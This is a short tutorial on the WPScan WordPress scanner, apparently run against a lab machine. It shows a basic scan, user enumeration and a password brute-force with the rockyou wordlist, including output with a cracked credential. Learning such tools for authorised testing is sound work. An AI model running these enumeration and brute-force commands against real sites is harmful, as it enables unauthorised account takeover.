

Wpscan

Wpscan is a WordPress security scanner used to test WordPress installations and WordPress-powered websites. This is a command line tool used in Kali Linux. This tool can be used to find any vulnerable plugins, themes, or backups running on the site. It is usually used by individual WordPress site owners to test their own websites for vulnerabilities and also by large organizations to maintain a secure website. This tool can also be used to enumerate users and perform brute-force attacks on known WordPress users.

WPScan is a popular tool for scanning WordPress installations for security vulnerabilities. It is designed to identify vulnerabilities in WordPress core files, plugins, and themes. WPScan is commonly used by security professionals and enthusiasts to assess the security posture of WordPress sites.

Examples: -

1. To have a basic wpscan use --url command along with the target IP.

```
(kali@kali)-[/]
$ wpscan --url 10.10.205.162

WPSecm
WordPress Security Scanner by the WPScan Team
Version 3.8.22
@_WPScan_, @ethicalhack3r, @erwan_lr, @fireFart

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.10.205.162/ [10.10.205.162]
[+] Started: Fri Jul 8 02:55:15 2022

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] robots.txt found: http://10.10.205.162/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.205.162/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
```

2. Now to find out the users in target website use -e u flag.

```
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 ←

[i] User(s) Identified:

[+] bjoel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.205.162/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] kwheel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.205.162/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
| Found By: Rss Generator (Aggressive Detection)

[+] Billy Joel
| Found By: Rss Generator (Aggressive Detection)
```

Total 4 users identified

3. To perform brute force attack over a user we will use -U and -P flag along with the wordlist. As shown below.

```
(kali㉿kali)-[~/Desktop]
$ wpscan --url 10.10.226.103 -U kwheel -P /usr/share/wordlists/rockyou.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:07 ←

[!] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - kwheel / cutiepie1
Trying kwheel / dallas1 Time: 00:05:05 <

[!] Valid Combinations Found:
[ Username: kwheel, Password: cutiepie1 ←

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Aug 19 14:03:57 2022
[+] Requests Done: 3007
[+] Cached Requests: 30
[+] Data Sent: 1.488 MB
[+] Data Received: 1.749 MB
[+] Memory used: 251.238 MB
[+] Elapsed time: 00:05:59
```